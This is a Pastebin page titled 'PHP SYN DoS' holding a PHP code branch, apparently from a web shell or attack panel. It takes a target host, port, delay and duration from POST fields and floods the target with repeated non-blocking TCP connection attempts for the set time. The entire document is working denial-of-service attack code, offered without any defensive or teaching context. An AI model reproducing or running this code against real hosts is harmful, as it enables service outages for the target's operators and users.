Advertisement
captmicro

PHP SYN DoS

Jun 25th, 2011
768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.01 KB | None | 0 0
  1. elseif (isset($_POST["exec_dossyn"])) {
  2.     set_time_limit(0);
  3.     if (!chkfunc("socket_create")) exit("Cannot create socket");
  4.     $target = $_POST["text"];
  5.     $port = intval($_POST["text_port"]);
  6.     $dly = intval($_POST["text_dly"]) * 10;
  7.     $dur = intval($_POST["text_dur"]);
  8.     if ($port == 0) exit("Port cannot be 0");
  9.     if ($dur == 0) exit("Durration cannot be 0");
  10.     $indos = true;
  11.     $start = microtime_flt();
  12.     $socks = array();
  13.     $numsocks = 0;
  14.     echo "Starting DoS\n";
  15.     while ($indos) {
  16.         $numsocks++;
  17.         $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  18.         if (!$socks[$numsocks]) continue;
  19.         @socket_set_nonblock($socks[$numsocks]);
  20.         for ($j = 0; $j < 20; $j++)
  21.             @socket_connect($socks[$numsocks], $target, $port);
  22.         $chktime = round(microtime_flt() - $start);
  23.         if ($chktime >= $dur) $indos = false;
  24.         usleep($dly);
  25.     }
  26.     echo "DoS complete\n";
  27.     sleep(1);
  28.     echo "Closing sockets...\n";
  29.     for ($j = 0; $j < $numsocks; $j++) { if ($socks[$j]) @socket_close($socks[$j]); }
  30.     echo "Complete";
  31.     exit();
  32. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement